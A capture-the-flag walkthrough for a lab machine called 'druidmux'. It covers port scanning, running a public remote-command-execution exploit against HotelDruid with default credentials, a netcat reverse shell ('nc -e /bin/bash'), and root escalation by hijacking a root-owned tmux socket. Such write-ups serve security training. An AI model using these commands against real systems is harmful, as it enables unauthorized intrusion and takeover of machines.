---
description: '#### By b13ss3d ####'
---

# druidmux

There's also a video version available if you prefer [visual walkthroughs](https://youtu.be/rxhQ9Zzzirs?feature=shared).

**Port Scanning**

We begin our reconnaissance by performing a port scan using Rustscan to identify open ports on the target system.

```
❯ rustscan -a 10.0.160.67
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

<SNIP>
Open 10.0.160.67:80
```

After identifying the open ports, we use Nmap to gather more detailed information about the services and their versions running on these ports.

```
nmap -p80 -sCV -n -Pn -v 10.0.160.67 -oN scan
<SNIP>
Nmap scan report for 10.0.160.67
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.25 (Debian)
```

Nmap command options explained:

* `-p <ports>`: scan only a specific port.
* `-sCV`: combines the options -sC and -sV.
* `-sC`: equivalent to --script=default.
* `-sV`: Probe open ports to determine service/version info.
* `-n`: Never do DNS resolution.
* `-vvv`: Increase verbosity level.
* `-oN <file>`: Output scan in normal format.

The scan reveals a web server running on port 80. Let's investigate the website's content using a web browser:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Fzy9YaWulZOUJaWg6jH6W%2FPasted%20image%2020240815165652.png?alt=media&#x26;token=11c00c92-2992-48cd-ae4d-d8a2464e8c63" alt=""><figcaption></figcaption></figure>

**Gaining Initial Access**

Using `searchsploit`, we discover several exploits for this software. One of them allows for remote command execution:

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FzBTVihzyaDLMUq8hmmUH%2FPasted%20image%2020240815165844.png?alt=media&#x26;token=e999d6cf-3f6c-4b19-bff6-f58cf0b742cc" alt=""><figcaption></figcaption></figure>

Let's copy this exploit to our current directory:

```
❯ searchsploit -m 50754
```

Now, we'll execute the exploit using default credentials:

```
❯ python3 50754.py -t http://10.0.160.67/hoteldruid/ -u admin -p admin
```

After successful execution, we gain the ability to run commands on the target system:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FABgkUoP5uAxvWy1UMI9s%2FPasted%20image%2020240815170140.png?alt=media&#x26;token=a8f34fb0-ebf0-41c3-a6df-77572717d235" alt=""><figcaption></figcaption></figure>

To improve our access, let's obtain a reverse shell. First, set up a listener using netcat:

```
❯ nc -nlvp 443
listening on [any] 443 ...
```

Then, execute the following command on the target to establish a reverse shell connection `nc -e /bin/bash <your IP> <your PORT>` like this:

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2F9ZVsdl3fKwf5pf0blucf%2FPasted%20image%2020240815170358.png?alt=media&#x26;token=8ffb6deb-241a-45f7-8e4b-ee40b2341cca" alt=""><figcaption></figcaption></figure>

You should receive a connection immediately:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FK2BhWlDa6er0KpSNRRob%2FPasted%20image%2020240815170415.png?alt=media&#x26;token=42d49dd7-33c9-4a2d-890e-ad82928ae555" alt=""><figcaption></figcaption></figure>

To upgrade this basic shell to a fully interactive terminal, follow these steps:

1. Execute: `script /dev/null -qc bash`
2. Press `CTRL + Z`
3. Run: `stty raw -echo;fg`
4. Finally, execute: `reset xterm` and press Enter&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FxSlQdmzHBjBVztfAGv2c%2FPasted%20image%2020240815170452.png?alt=media&#x26;token=d6e1337b-44cd-4906-a7a8-c2a86032675f" alt=""><figcaption></figcaption></figure>

**Privilege escalation**

List the running processes with the command `ps -feaw`:

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FxHIWKd14nuCY25zf32BD%2FPasted%20image%2020240815171441.png?alt=media&#x26;token=befae16e-4dd6-4c73-914c-73843b001f6d" alt=""><figcaption></figcaption></figure>

&#x20;We notice that root is executing `tmux` with the following command: `tmux -S /tmp/shareds new -d -s shared /bin/bash -l` Let's break down this command:

1. `tmux`: The base command to start tmux.
2. `-S /tmp/shareds`: Specifies the socket location. In this case, it uses a custom socket in `/tmp/shareds` instead of the default socket.
3. `new`: Indicates that a new session will be created.
4. `-d`: This option starts the new session in "detached" mode. This means the session is created but you're not immediately attached to it.
5. `-s shared`: Assigns a name to the session. In this case, the session will be called "shared".
6. `/bin/bash -l`: This is the command that will run in the new session. In this case, it starts a bash shell with the `-l` option, which makes it behave like a login shell.

We can exploit this configuration to escalate our privileges. For more information on this technique, refer to the [HackTricks resource on tmux session hijacking](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#tmux-sessions-hijacking).

To gain root access, simply create a new session using the socket utilized by root:

```
tmux -S /tmp/shareds
```

And voila! We now have root privileges:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Fng8PExCE36QdTDS9AOvZ%2FPasted%20image%2020240815171605.png?alt=media&#x26;token=415fcff6-c90c-4d72-9725-3b5ad06459e5" alt=""><figcaption></figcaption></figure>

**Flag Locations**

The flags can be found in the following locations:

* /root
* /etc/passwd
* /etc/shadow
* /proc/1/environ
* http://druidmux/ETSCTF.html
